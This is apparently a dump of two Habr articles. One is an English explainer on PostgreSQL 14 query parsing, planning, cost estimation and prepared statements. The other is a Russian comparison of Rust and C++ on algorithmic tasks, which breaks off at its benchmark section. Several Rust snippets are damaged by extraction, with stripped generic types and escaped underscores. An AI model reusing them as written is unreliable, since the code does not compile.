Hello! I'm kicking off another article series about the internals of PostgreSQL. This one will focus on query planning and execution mechanics.
This series will cover:
1. Query execution stages (this article)
2. Statistics
3. Sequential scan
4. Index scan
5. Nested-loop join
6. Hash join
7. Merge join
This article borrows from our course [QPT Query Optimization](https://postgrespro.ru/education/courses/QPT) (available in English soon), but focuses mostly on the internal mechanisms of query execution, leaving the optimization aspect aside. Please also note that this article series is written with PostgreSQL 14 in mind.
**Simple query protocol**
The fundamental purpose of the PostgreSQL client-server protocol is twofold: it sends SQL queries to the server, and it receives the entire execution result in response. The query received by the server for execution goes through several stages.
**Parsing**
First, the query text is *parsed*, so that the server understands exactly what needs to be done.
**Lexer and parser.** The *lexer* is responsible for recognizing *lexemes* in the query string (such as SQL keywords, string and numeric literals, etc.), and the *parser* makes sure that the resulting set of lexemes is grammatically valid. The parser and lexer are implemented using the standard tools Bison and Flex.
The parsed query is represented as an abstract syntax tree.
Example:
```
SELECT schemaname, tablename
FROM pg_tables
WHERE tableowner = 'postgres'
ORDER BY tablename;
```
Here, a tree will be built in backend memory. The figure below shows the tree in a highly simplified form. The nodes of the tree are labeled with the corresponding parts of the query.
RTE is an obscure abbreviation that stands for "Range Table Entry." The name "range table" in the PostgreSQL source code refers to tables, subqueries, results of joins–in other words, any record sets that SQL statements operate on.
**Semantic analyzer.** The *semantic analyzer* determines whether there are tables and other objects in the database that the query refers to by name, and whether the user has the right to access these objects. All the information required for semantic analysis is stored in the system catalog.
The semantic analyzer receives the parse tree from the parser and rebuilds it, supplementing it with references to specific database objects, data type information, etc.
If the parameter *debug\_print\_parse* is on, the full tree will be displayed in the server message log, although there is little practical sense in this.
**Transformation**
Next, the query can be *transformed (rewritten)*.
Transformations are used by the system core for several purposes. One of them is to replace the name of a view in the parse tree with a subtree corresponding to the query of this view.
`pg_tables` from the example above is a view, and after transformation the parse tree will take the following form:
This parse tree corresponds to the following query (although all manipulations are performed only on the tree, not on the query text):
```
SELECT schemaname, tablename
FROM (
-- pg_tables
SELECT n.nspname AS schemaname,
c.relname AS tablename,
pg_get_userbyid(c.relowner) AS tableowner,
...
FROM pg_class c
LEFT JOIN pg_namespace n ON n.oid = c.relnamespace
LEFT JOIN pg_tablespace t ON t.oid = c.reltablespace
WHERE c.relkind = ANY (ARRAY['r'::char, 'p'::char])
)
WHERE tableowner = 'postgres'
ORDER BY tablename;
```
The parse tree reflects the syntactic structure of the query, but not the order in which the operations will be performed.
Row-level security is implemented at the transformation stage.
Another example of the use of transformations by the system core is the implementation of SEARCH and CYCLE clauses for recursive queries in version 14.
PostgreSQL supports custom transformations, which the user can implement using the *rewrite rule system*.
The rule system was intended as [one of the primary features](https://dsf.berkeley.edu/papers/ERL-M85-95.pdf) of Postgres. The rules were supported from the project's foundation and were repeatedly redesigned during early development. This is a powerful mechanism but difficult to understand and debug. There was even a proposal to remove the rules from PostgreSQL entirely, but it did not find general support. In most cases, it is safer and more convenient to use triggers instead of rules.
If the parameter *debug\_print\_rewritten* is on, the complete transformed parse tree will be displayed in the server message log.
**Planning**
SQL is a declarative language: a query specifies *what* to retrieve, but not *how* to retrieve it.
Any query can be executed in a number of ways. Each operation in the parse tree has multiple execution options. For example, you can retrieve specific records from a table by reading the whole table and discarding rows you don't need, or you can use indexes to find the rows that match your query. Data sets are always joined in pairs. Variations in the order of joins result in a multitude of execution options. Then there are various ways to join two sets of rows together. For example, you could go through the rows in the first set one by one and look for matching rows in the other set, or you could sort both sets first, and then merge them together. Different approaches perform better in some cases and worse in others.
The optimal plan may execute faster than a non-optimal one by several orders of magnitude. This is why the *planner*, which *optimizes* the parsed query, is one of the most complex elements of the system.
**Plan tree.** The execution plan can also be presented as a tree, but with its nodes as physical rather than logical operations on data.
If the parameter *debug\_print\_plan* is on, the full plan tree will be displayed in the server message log. This is highly impractical, as the log is extremely cluttered as it is. A more convenient option is to use the EXPLAIN command:
```
EXPLAIN
SELECT schemaname, tablename
FROM pg_tables
WHERE tableowner = 'postgres'
ORDER BY tablename;
QUERY PLAN
−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−
Sort (cost=21.03..21.04 rows=1 width=128)
Sort Key: c.relname
−> Nested Loop Left Join (cost=0.00..21.02 rows=1 width=128)
Join Filter: (n.oid = c.relnamespace)
−> Seq Scan on pg_class c (cost=0.00..19.93 rows=1 width=72)
Filter: ((relkind = ANY ('{r,p}'::"char"[])) AND (pg_g...
−> Seq Scan on pg_namespace n (cost=0.00..1.04 rows=4 wid...
(7 rows)
```
The image shows the main nodes of the tree. The same nodes are marked with arrows in the EXPLAIN output.
The Seq Scan node represents the table read operation, while the Nested Loop node represents the join operation. There are two interesting points to take note of here:
* One of the initial tables is gone from the plan tree because the planner figured out that it's not required to process the query and removed it.
* There is an estimated number of rows to process and the cost of processing next to each node.
**Plan search.** To find the optimal plan, PostgreSQL utilizes the *cost-based query optimizer*. The optimizer goes through various available execution plans and estimates the required amounts of resources, such as I/O operations and CPU cycles. This calculated estimate, converted into arbitrary units, is known as the *plan cost*. The plan with the lowest resulting cost is selected for execution.
The trouble is, the number of possible plans grows exponentially as the number of joins increases, and sifting through all the plans one by one is impossible even for relatively simple queries. Therefore, dynamic programming and heuristics are used to limit the scope of search. This allows to precisely solve the problem for a greater number of tables in a query within reasonable time, but the selected plan is not guaranteed to be *truly* optimal because the planner utilizes simplified mathematical models and may use imprecise initial data.
**Ordering joins.** A query can be structured in specific ways to significantly reduce the search scope (at a risk of missing the opportunity to find the optimal plan):
* Common table expressions are usually optimized separately from the main query. Since version 12, this can be forced with the MATERIALIZE clause.
* Queries from non-SQL functions are optimized separately from the main query. (SQL functions can be inlined into the main query in some cases.)
* The *join\_collapse\_limit* parameter together with explicit JOIN clauses, as well as the *from\_collapse\_limit* parameter together with sub-queries may define the order of some joins, depending on the query syntax.
The last one may need an explanation. The query below calls several tables within a FROM clause with no explicit joins:
```
SELECT ...
FROM a, b, c, d, e
WHERE ...
```
This is the parse tree for this query:
In this query, the planner will consider all possible join orders.
In the next example, some joins are explicitly defined by the JOIN clause:
```
SELECT ...
FROM a, b JOIN c ON ..., d, e
WHERE ...
```
The parse tree reflects this:
The planner collapses the join tree, effectively transforming it into the tree from the previous example. The algorithm recursively traverses the tree and replaces each JOINEXPR node with a flat list of its components.
This "flattening out" will only occur, however, if the resulting flat list will contain no more than *join\_collapse\_limit* elements (8 by default). In the example above, if join\_collapse\_limit is set to 5 or less, the JOINEXPR node will not be collapsed. For the planner this means two things:
* Table B must be joined to table C (or vice versa, the join order in a pair is not restricted).
* Tables A, D, E, and the join of B to C may be joined in any order.
If *join\_collapse\_limit* is set to 1, any explicit JOIN order will be preserved.
Note that the operation FULL OUTER JOIN is *never* collapsed regardless of *join\_collapse\_limit*.
The parameter *from\_collapse\_limit* (also 8 by default) limits the flattening of sub-queries in a similar manner. Sub-queries don't appear to have much in common with joins, but when it comes down to the parse tree level, the similarity is apparent.
Example:
```
SELECT ...
FROM a, b JOIN c ON ..., d, e
WHERE ...
```
And here's the tree:
The only difference here is that the JOINEXPR node is replaced with FROMEXPR (hence the parameter name FROM).
**Genetic search.** Whenever the resulting flattened tree ends up with too many same-level nodes (tables or join results), planning time may skyrocket because each node requires separate optimization. If the parameter *geqo* is on (it is by default), PostgreSQL will switch to *genetic search* whenever the number of same-level nodes reaches *geqo\_threshold* (12 by default).
Genetic search is much faster than the dynamic programming approach, but it does not guarantee that the best possible plan will be found. This algorithm has a number of adjustable options, but that's a topic for another article.
**Selecting the best plan.** The definition of the best plan varies depending on the intended use. When a complete output is required (for example, to generate a report), the plan must optimize the retrieval of all rows that match the query. On the other hand, if you only want the first several matching rows (to display on the screen, for example), the optimal plan might be completely different.
PostgreSQL addresses this by calculating two cost components. They are displayed in the query plan output after the word "cost":
```
Sort (cost=21.03..21.04 rows=1 width=128)
```
The first component, startup cost, is the cost to prepare for the execution of the node; the second component, total cost, represents the total node execution cost.
When selecting a plan, the planner first checks if a cursor is in use (a cursor can be set up with the DECLARE command or *explicitly* declared in PL/pgSQL). If not, the planner assumes that the full output is required and selects the plan with the least total cost.
Otherwise, if a cursor is used, the planner selects a plan that optimally retrieves the number of rows equal to *cursor\_tuple\_fraction* (0.1 by default) of the total number of matching rows. Or, more specifically, a plan with the lowest
startup cost + *cursor\_tuple\_fraction* × (total cost − startup cost).
**Cost calculation process.** To estimate a plan cost, each of its nodes has to be individually estimated. A node cost depends on the node type (reading from a table costs much less than sorting the table) and the amount of data processed (in general, the more data, the higher the cost). While the node type is known right away, to assess the amount of data we first need to estimate the node's *cardinality* (the amount of input rows) and *selectivity* (the fraction of rows left over for output). To do that, we need data *statistics*: table sizes, data distribution across columns.
Therefore, optimization depends on accurate statistics, which are gathered and kept up-to-date by the autoanalyze process.
If the cardinality of each plan node is estimated accurately, the total cost calculated will usually match the actual cost. Common planner deviations are usually the result of incorrect estimation of cardinality and selectivity. These errors are caused by inaccurate, outdated or unavailable statistics data, and, to a lesser extent, inherently imperfect models the planner is based on.
**Cardinality estimation.** Cardinality estimation is performed recursively. Node cardinality is calculated using two values:
* Cardinality of the node's child nodes, or the number of input rows.
* Selectivity of the node, or the fraction of output rows to the input rows.
Cardinality is the product of these two values.
Selectivity is a number between 0 and 1. Selectivity values closer to zero are called *high selectivity*, and values closer to one are called *low selectivity*. This is because high selectivity eliminates a higher fraction of rows, and lower selectivity values bring the threshold down, so fewer rows are discarded.
Leaf nodes with data access methods are processed first. This is where statistics such as table sizes come in.
Selectivity of conditions applied to a table depends on the condition types. In its simplest form selectivity can be a constant value, but the planner tries to use all available information to produce the most accurate estimate. Selectivity estimations for the simplest conditions serve as the basis, and complex conditions built with Boolean operations can be further calculated using the following straightforward formulas:
*selx* and *y* = *selx sely*
*selx* or *y* = 1−(1−*selx*)(1−*sely*) = *selx* + *sely* − *selx sely*.
In these formulas, *x* and *y* are considered independent. If they correlate, the formulas are still used, but the estimate will be less accurate.
For a cardinality estimate of joins, two values are calculated: the cardinality of the Cartesian product (the product of cardinalities of two data sets) and the selectivity of the join conditions, which in turn depends on the condition types.
Cardinality of other node types, such as sorting or aggregation nodes, is calculated similarly.
Note that a cardinality calculation mistake in a lower node will propagate upward, resulting in inaccurate cost estimation and, ultimately, a sub-optimal plan. This is made worse by the fact that the planner only has statistical data on tables, not on join results.
**Cost estimation.** Cost estimation process is also recursive. The cost of a sub-tree comprises the costs of its child nodes plus the cost of the parent node.
Node cost calculation is based on a mathematical model of the operation it performs. The cardinality, which has been already calculated, serves as the input. The process calculates both startup cost and total cost.
Some operations don't require any preparation and can start executing immediately. For these operations, the startup cost will be zero.
Other operations may have prerequisites. For example, a sorting node will usually require *all* of the data from its child node to begin the operation. These nodes have a non-zero startup cost. This cost has to be paid, even if the next node (or the client) only needs a single row of the output.
The cost is the planner's best estimate. Any planning mistakes will affect how much the cost will correlate with the actual time to execute. The primary purpose of cost assessment is to allow the planner to compare different execution plans for the *same* query in the *same* conditions. In any other case, comparing queries (worse, different queries) by cost is pointless and wrong. For example, consider a cost that was underestimated because the statistics were inaccurate. Update the statistics–and the cost may change, but the estimate will become more accurate, and the plan will ultimately improve.
**Execution**
An optimized query is *executed* in accordance with the plan.
An object called a *portal* is created in backend memory. The portal stores the state of the query as it is executed. This state is represented as a tree, identical in structure to the plan tree.
The nodes of the tree act as an assembly line, requesting and delivering rows to each other.
Execution starts at the root node. The root node (the sorting node SORT in the example) requests data from the child node. When it receives all requested data, it performs the sorting operation and then delivers the data upward, to the client.
Some nodes (such as the NESTLOOP node) join data from different sources. This node requests data from two child nodes. Upon receiving two rows that match the join condition, the node immediately passes the resulting row to the parent node (unlike with sorting, which must receive *all* rows before processing them). The node then stops until its parent node requests another row. Because of that, if only a partial result is required (as set by LIMIT, for example), the operation will not be executed fully.
The two SEQSCAN leafs are table scans. Upon request from the parent node, a leaf node reads the next row from the table and returns it.
This node and some others do not store rows at all, but rather just deliver and forget them immediately. Other nodes, such as sorting, may potentially need to store vast amounts of data at a time. To deal with that, a *work\_mem* memory chunk is allocated in backend memory. Its default size sits at a conservative 4MB limit; when the memory runs out, excess data is sent to a temporary file on-disk.
A plan may include multiple nodes with storage requirements, so it may have several chunks of memory allocated, each the size of *work\_mem*. There is no limit on the total memory size that a query process may occupy.
**Extended query protocol**
With simple query protocol, any command, even if it's being repeated again and again, goes through all these stages outlined above:
1. Parsing.
2. Transformation.
3. Planning.
4. Execution.
But there is no reason to parse the same query over and over again. Neither is there any reason to parse queries anew if they differ in constants only: the parse tree will be the same.
Another annoyance with the simple query protocol is that the client receives the output in full, however long it may be.
Both issues can be overcome with the use of SQL commands: PREPARE a query and EXECUTE it for the first problem, DECLARE a cursor and FETCH the needed rows for the second one. But then the client will have to handle naming new objects, and the server will need to parse extra commands.
The extended query protocol enables precise control over separate execution stages at the protocol command level.
**Preparation**
During *preparation*, a query is parsed and transformed as usual, but the parse tree is stored in backend memory.
PostgreSQL doesn't have a global cache for parsed queries. Even if a process has parsed the query before, other processes will have to parse it again. There are benefits to this design, however. Under high load, global in-memory cache will easily become a bottleneck because of locks. One client sending multiple small commands may affect the performance of the whole instance. In PostgreSQL, query parsing is cheap and isolated from other processes.
A query can be prepared with additional parameters. Here's an example using SQL commands (again, this is not equivalent to preparation on protocol command level, but the ultimate effect is the same):
```
PREPARE plane(text) AS
SELECT * FROM aircrafts WHERE aircraft_code = $1;
```
Most examples in this article series will use the [demo database "Airlines."](https://postgrespro.com/education/demodb)
This view displays all named prepared statements:
```
SELECT name, statement, parameter_types
FROM pg_prepared_statements \gx
−[ RECORD 1 ]−−−+−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−
name | plane
statement | PREPARE plane(text) AS +
| SELECT * FROM aircrafts WHERE aircraft_code = $1;
parameter_types | {text}
```
The view does not list any unnamed statements (that use the extended protocol or PL/pgSQL). Neither does it list prepared statements from other sessions: accessing another session's memory is impossible.
**Parameter binding**
Before a prepared query is executed, current parameter values are bound.
```
EXECUTE plane('733');
aircraft_code | model | range
−−−−−−−−−−−−−−−+−−−−−−−−−−−−−−−+−−−−−−−
733 | Boeing 737−300 | 4200
(1 row)
```
One advantage of prepared statements compared to concatenation of literal expressions is protection against any sort of SQL injection, because parameter values do not affect the parse tree that has been already built. Reaching the same level of security without prepared statements will require extensive escaping of all values coming in from untrusted sources.
**Planning and execution**
When a prepared statement is executed, first its query is planned with the provided parameters taken into account, then the chosen plan is sent for execution.
Actual parameter values are important to the planner, because optimal plans for different sets of parameters may also be different. For example, when looking for premium flight bookings, index scan is used (as shown by the words "Index Scan"), because the planner expects that there aren't many matching rows:
```
CREATE INDEX ON bookings(total_amount);
EXPLAIN SELECT * FROM bookings WHERE total_amount > 1000000;
QUERY PLAN
−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−
Bitmap Heap Scan on bookings (cost=86.38..9227.74 rows=4380 wid...
Recheck Cond: (total_amount > '1000000'::numeric)
−> Bitmap Index Scan on bookings_total_amount_idx (cost=0.00....
Index Cond: (total_amount > '1000000'::numeric)
(4 rows)
```
This next condition, however, matches absolutely all bookings. Index scan is useless here, and sequential scan (Seq Scan) is performed:
```
EXPLAIN SELECT * FROM bookings WHERE total_amount > 100;
QUERY PLAN
−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−
Seq Scan on bookings (cost=0.00..39835.88 rows=2111110 width=21)
Filter: (total_amount > '100'::numeric)
(2 rows)
```
In some cases the planner stores the query plan in addition to the parse tree, to avoid planning it again if it comes up. This plan, devoid of parameter values, is called a *generic plan*, as opposed to a *custom plan* that is generated using the given parameter values. An obvious use case for a generic plan is a statement with no parameters.
For the first four runs, prepared statements with parameters are always optimized with regards to the actual parameter values. Then the average plan cost is calculated. On the fifth run and beyond, if the generic plan turns out to be cheaper on average than custom plans (which have to be rebuilt anew every time), the planner will store and use the generic plan from then on, foregoing further optimization.
The `plane` prepared statement has already been executed once. In the next two executions, custom plans are still used, as shown by the parameter value in the query plan:
```
EXECUTE plane('763');
EXECUTE plane('773');
EXPLAIN EXECUTE plane('319');
QUERY PLAN
−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−
Seq Scan on aircrafts_data ml (cost=0.00..1.39 rows=1 width=52)
Filter: ((aircraft_code)::text = '319'::text)
(2 rows)
```
After four executions, the planner will switch to the generic plan. The generic plan in this case is identical to custom plans, has the same cost, and therefore is preferable. Now the EXPLAIN command shows the parameter number, not the actual value:
```
EXECUTE plane('320');
EXPLAIN EXECUTE plane('321');
QUERY PLAN
−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−
Seq Scan on aircrafts_data ml (cost=0.00..1.39 rows=1 width=52)
Filter: ((aircraft_code)::text = '$1'::text)
(2 rows)
```
It is unfortunate but not inconceivable when only the first four custom plans are more costly than the generic plan, and any further custom plans would have been cheaper–but the planner will ignore them altogether. Another possible source of imperfection is that the planner compares cost *estimates*, not actual resource costs to be spent.
This is why in versions 12 and above, if the user dislikes the automatic result, they can force the system to use the generic plan or a custom plan. This is done with the parameter *plan\_cache\_mode*:
```
SET plan_cache_mode = 'force_custom_plan';
EXPLAIN EXECUTE plane('CN1');
QUERY PLAN
−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−
Seq Scan on aircrafts_data ml (cost=0.00..1.39 rows=1 width=52)
Filter: ((aircraft_code)::text = 'CN1'::text)
(2 rows)
```
In version 14 and above, the pg\_prepared\_statements view also displays plan selection statistics:
```
SELECT name, generic_plans, custom_plans
FROM pg_prepared_statements;
name | generic_plans | custom_plans
−−−−−−−+−−−−−−−−−−−−−−−+−−−−−−−−−−−−−−
plane | 1 | 6
(1 row)
```
**Output retrieval**
The extended query protocol allows the client to fetch the output in batches, several rows at a time, rather than all at once. The same can be achieved with the help of SQL cursors, but at a higher cost, and the planner will optimize the retrieval of the first *cursor\_tuple\_fraction* rows:
```
BEGIN;
DECLARE cur CURSOR FOR
SELECT * FROM aircrafts ORDER BY aircraft_code;
FETCH 3 FROM cur;
aircraft_code | model | range
−−−−−−−−−−−−−−−+−−−−−−−−−−−−−−−−−−+−−−−−−−
319 | Airbus A319−100 | 6700
320 | Airbus A320−200 | 5700
321 | Airbus A321−200 | 5600
(3 rows)
FETCH 2 FROM cur;
aircraft_code | model | range
−−−−−−−−−−−−−−−+−−−−−−−−−−−−−−−+−−−−−−−
733 | Boeing 737−300 | 4200
763 | Boeing 767−300 | 7900
(2 rows)
COMMIT;
```
Whenever a query returns a lot of rows, and the client needs them all, the number of rows retrieved at a time becomes paramount for overall data transmission speed. The larger a single batch of rows, the less time is lost on roundtrip delays. The savings fall off in efficiency, however, as the batch size increases. For example, switching from a batch size of one to a batch size of 10 will increase the time savings dramatically, but switching from 10 to 100 will barely make any difference.
Stay tuned for the next article, where we will talk about the foundation of cost optimization: statistics. | https://habr.com/ru/post/649499/ | null | en | null |
# Rust vs. C++ на алгоритмических задачах
Не так давно я стал присматриваться к языку программирования `Rust`. Прочитав [`Rustbook`](https://github.com/ruRust/rust_book_ru), изучив код некоторых популярных проектов, я решил своими руками попробовать этот язык программирования и своими глазами оценить его преимущества и недостатки, его производительность и эко-систему.
Язык `Rust` позиционирует себя, как язык системного программирования, поэтому основным его vis-à-vis следует называть `C/C++`. Сравнивать же молодой и мультипарадигмальный `Rust`, который поддерживает множество современных конструкций программирования (таких, как [итераторы](https://rustbyexample.com/trait/iter.html), [`RAII`](https://rustbyexample.com/scope/raii.html) и др.) с «голым» `C` я считаю не правильно. Поэтому в данной статье речь пойдет об сравнении с `C++`.
Чтобы сравнить код и производительность `Rust` и C++, я взял ряд алгоритмических задач, которые нашел в онлайн курсах по программированию и алгоритмам.
Статья построена следующим образом: в первой части я опишу основные плюсы и минусы, на которые я обратил внимание, работая с `Rust`. Во второй части я приведу краткое описание алгоритмических задач, которые были решены в `Rust` и C++, прокомментирую основные моменты реализации программ. В третьей части будет приведена таблица замера производительности программ на `Rust` и C++.
Данная статья достаточно субъективная. Даже сравнение производительности программ, которые делают одинаковые вещи, но написаны на разных языках, подвержены авторскому подходу. Поэтому я не претендую на объективные замеры, и, чтобы не навязывать свои результаты, предлагаю всем ознакомится с кодом программ и с подходом к замеру производительности. Код выложен на [github](https://github.com/dmitryikh/rust-vs-cpp-bench). Буду рад любой критике и замечаниям. Начнем.
Что плохого и хорошего в Rust
-----------------------------
**+** Разработчики `Rust` поставляют свой компилятор уже с «батарейками внутри» тут есть: компилятор, менеджер пакетов (он же сборщик проектов, он же отвечает за запуск тестов), генератор документации и отладчик `gdb`. Исходный код на `Rust` может включать в себя сразу тесты и документацию, и чтобы собрать все это не требуется дополнительных программ или библиотек.
**+**Компилятор строг к тексту программы, который подается ему на вход: в его выводе можно увидеть какой код не используется, какие переменные можно изменить на константный тип, и даже предупреждения, связанные со стилем программирования. Часто для ошибок компиляции приведены варианты ее устранения, а ошибки при инстанциировании обобщенного кода (шаблонов) лаконичны и понятны (привет ошибкам с шаблонами `STL`в `C++`).
**+** При присваивании или передачи аргументов по умолчанию работает [семантика перемещения](https://rustbyexample.com/scope/move.html) (аналог `std::move`, но не совсем). Если функция принимает ссылку на объект необходимо явно взять адрес (символ `&`, как в `C++`).
**+** Все строки — это [`юникод в кодировке UTF-8`](https://rustbyexample.com/std/str.htm://rustbyexample.com/std/str.html%22%22). Да, для подсчета количества символов нужно `О(N)` операций, но зато никакого зоопарка с кодировками.
**+** Есть поддержка итераторов и [замыканий (лямбда функций)](https://rustbyexample.com/fn/closures.html). Благодаря этому можно писать однострочные конструкции, которые выполняют множество операций с сложной логикой (то, чем славится `Python`).
**+-**В `Rust` отсутствуют исключения, обработку ошибок необходимо делать после вызова каждой функции. Причем `Rust` не позволит получить возвращаемое значение, если вы не обработаете случай неуспешного завершения функции. Есть макросы и встроенные конструкции языка, которые позволяют упростить эту обработку и не сильно раздувать код проверками.
**-** Нужно писать программы так, чтобы компилятор (точнее borrow checker) поверил, что вы не делаете ничего плохого с памятью (или с ресурсами в целом). Часто это работает как надо, но иногда приходится писать код в несколько хитрой форме только для того, что бы удовлетворить условиям borrow checker'а.
**-** В `Rust` нет классов, но есть типажи, на основе которых можно построить объектно ориентированную программу. Но скопировать реализацию с полиморфными классами в `C++` в язык `Rust` напрямую не получиться.
**-** `Rust` достаточно молод. Мало полезного материала в сети, на StackOverflow. Мало хороших библиотек. Например, нет библиотек для построения GUI, нет портов `wxWidgets`, `Qt`.
Алгоритмические задачи на Rust
------------------------------
### Бинарный поиск
Нужно для для каждого значения из вектора **B** найти его позицию в векторе **A**. По сути нужно применить **n** раз бинарный поиск, где **n** — кол-во элементов в **B** (массив **A** предварительно отсортирован). Поэтому тут я приведу функцию бинарного поиска.
```
// return position of the element if found
fn binary_search(vec: &[u32], value: u32) -> Option {
let mut l: i32 = 0;
let mut r: i32 = vec.len() as i32 - 1;
while l <= r {
let i = ((l + r) / 2) as usize;
if vec[i] == value {
return Some(i);
} else if vec[i] > value {
r = i as i32 - 1;
} else if vec[i] < value {
l = i as i32 + 1;
}
}
None
}
```
Кто первый раз видит `Rust`, обратите внимание на пару особенностей:
1. Тип возвращаемого значения указывается в конце объявления функции
2. Если переменная изменяемая, то нужно указывать модификатор `mut`
3. `Rust` не переводит типы неявно, даже числовые. Поэтому нужно писать явный перевод типа `l = i as i32 + 1`
### Сортировка слиянием
Формально задача звучит так: для заданного массива подсчитать кол-во перестановок, необходимых для сортировки массива. По факту нам требуется реализовать сортировку слиянием, подсчитывая по ходу длину перестановок элементов.
Давайте рассмотрим код чтения массива с `stdin`
```
fn read_line() -> String {
let mut line = String::new();
io::stdin().read_line(&mut line).unwrap();
line.trim().to_string()
}
fn main() {
// 1. Read the array
let n: usize = read_line().parse().unwrap();
let mut a_vec: Vec = vec![0; n as usize];
for (i, token) in read\_line().split\_whitespace().enumerate() {
a\_vec[i] = token.parse().unwrap();
}
...
```
1. У классов нет конструкторов, но можно делать статические методы-фабрики, которые возвращают объекты классов, как `String::new()` выше.
2. Функции, которые могут ничего не вернуть, возвращают объект `Option`, который содержит `None` или результат корректного завершения функции. Метод `unwrap` позволяет получить результат или вызывает `panic!`, если вернулся `None`.
3. Метод `String::parse` парсит строку в тип возвращаемого значения, т.е. происходит вывод типа по возвращаемому значению.
4. `Rust` поддерживает итераторы (как генераторы в Python). Связка `split_whitespace().enumerate()` генерирует итератор, который лениво читает следующий токен и инкрементирует счетчик.
Приведу сначала неправильную сигнатуру вызова функции `_merge`, которая сливает in place два отсортированных подмассива.
```
fn _merge(left_slice: &mut [u32], right_slice: &mut [u32]) -> u64
```
Данная конструкция не взлетит в `Rust` без `unsafe` кода, т.к. тут мы передаем два изменяемых подмассива, которые располагаются в исходном массиве. Система типов в `Rust` не позволяет иметь две изменяемых переменных на один объект (мы знаем, что подмассивы не пересекаются по памяти, но компилятор — нет). Вместо этого надо использовать такую сигнатуру:
```
fn _merge(vec: &mut [u32], left: usize, mid: usize, right: usize) -> u64
```
### Кодирование Хаффмана
Для заданной строки нужно построить беспрефиксный код и вывести закодированное сообщение. Для данной задачи нужно построить дерево на основе частотных характеристик символов в исходном сообщении. Построение деревьев, списков, графов на `Rust` — задачи не из простых, т.к., например, в случае двусвязного списка нам необходимо иметь два `mut` указателей на один нод, а это запрещено системой типов. Поэтому эффективно написать двусвязный список без `unsafe` кода не получится. В данной задаче мы имеем однонаправленное дерево, поэтому эта особенность нас не коснется, но есть свои сложности реализации.
Заведем класс Node:
```
// Type of the reference to the node
type Link = Option>;
// Huffman tree node struct
#[derive(Debug,Eq)]
struct Node {
freq: u32,
letter: char,
left: Link,
right: Link,
}
impl Ord for Node {
// reverse order to make Min-Heap
fn cmp(&self, b: &Self) -> Ordering {
b.freq.cmp(&self.freq)
}
}
```
1. Можем использовать типы до их описания.
2. Тут можно видеть странный синтаксис наследования `#[derive(Debug,Eq)]`. `Debug` — поддерживаем форматированную печать объекта по-умолчанию. `Eq` — определяем операцию сравнения на равенство.
3. Для Node определяется типаж сравнения на больше/меньше `Ord`. Типажи позволяют расширять возможности объектов. В частности, здесь мы сможем использовать `Node` для хранения Min-куче.
Метод для посещения нод дерева сверху вниз и для составления таблицы кодирования.
```
impl Node {
...
// traverse tree building letter->code `map`
fn build_map(&self, map: &mut HashMap, prefix: String) {
match self.right {
Some(ref leaf) => leaf.build\_map(map, prefix.clone() + "1"),
\_ => { },
}
match self.left {
Some(ref leaf) => { leaf.build\_map(map, prefix + "0"); },
\_ => { map.insert(self.letter, prefix); },
}
}
}
```
1. Рекурсивно вызывает ветки бинарного дерева, если их указатель не пустой `&Some(ref leaf)`.
2. Конструкция `match` похожа на `switch` в `C`. `match` должен обработать все варианты, поэтому тут присутсвует `_ => { }`.
3. Помните про семантику перемещения по-умолчанию? Поэтому нам нужно писать `prefix.clone()`, чтобы в каждую ветвь дерева передалась своя строка.
### Декодирование Хаффмана
Обратная задача: для известной таблицы кодирования и закодированной строки получить исходное сообщение. Для декодирования удобно пользоваться бинарным деревом кодирования, поэтому в программе нам нужно из таблицы кодирования получить дерево декодирования. На словах задача простая: нужно перемещаться вниз по дереву (0 — влево, 1 — вправо), создавая промежуточные узлы при необходимости, и в листья дерева помещать символ исходного сообщения. Но для `Rust` задача оказалась сложная, ведь нам нужно перемещаться по изменяемым ссылкам, создавать объекты, и при этом избегать ситуации, когда объектом владеет более одной переменной. Код функции заполнения бинарного дерева:
```
fn add_letter(root: &mut Link, letter: char, code: &str) {
let mut p: &mut Node = root.as_mut().unwrap();
for c in code.chars() {
p = match {p} {
&mut Node {left: Some(ref mut node), ..} if c == '0' => {
node
},
&mut Node {left: ref mut opt @ None, ..} if c == '0' => {
*opt = Node::root();
opt.as_mut().unwrap()
},
&mut Node {right: Some(ref mut node), ..} if c == '1' => {
node
},
&mut Node {right: ref mut opt @ None, ..} if c == '1' => {
*opt = Node::root();
opt.as_mut().unwrap()
},
_ => { panic!("error"); }
}
}
p.letter = letter;
}
```
1. Тут `match` используется для сравнения структуры переменной `p`. `&mut Node {left: Some(ref mut node), ..} if c == '0'` означает «если `p` это изменяемая ссылка на объект `Node` у, которого поле `left` указывает на существующий `node` и при этом символ `c` равен '0'».
2. В `Rust` нет исключений, поэтому `panic!("...")` раскрутит стек и остановит программу (или поток).
### Расстояние Левенштейна
Нужно для двух строк посчитать расстояние Левенштейна — кол-во действий редактирования строк, чтобы из одной получить другую. Код функции:
```
fn get_levenshtein_distance(str1: &str, str2: &str) -> u32 {
let n = str1.len() + 1;
let m = str2.len() + 1;
// compute 2D indexes into flat 1D index
let ind = |i, j| i * m + j;
let mut vec_d: Vec = vec![0; n \* m];
for i in 0..n {
vec\_d[ind(i, 0)] = i as u32;
}
for j in 0..m {
vec\_d[ind(0, j)] = j as u32;
}
for (i, c1) in str1.chars().enumerate() {
for (j, c2) in str2.chars().enumerate() {
let c = if c1 == c2 {0} else {1};
vec\_d[ind(i + 1, j + 1)] = min( min( vec\_d[ind(i, j + 1)] + 1
, vec\_d[ind(i + 1, j)] + 1
)
, vec\_d[ind(i, j)] + c
);
}
}
return vec\_d[ind(n - 1, m - 1)];
}
```
1. `str1: &str` — это срез строки. Легковесный объект, который указывает на строку в памяти, аналог `std::string_view` C++17.
2. `let ind = |i, j| i * m + j;` — такой конструкцией определяется лямбда функция.
Замеры производительности Rust vs C++
-------------------------------------
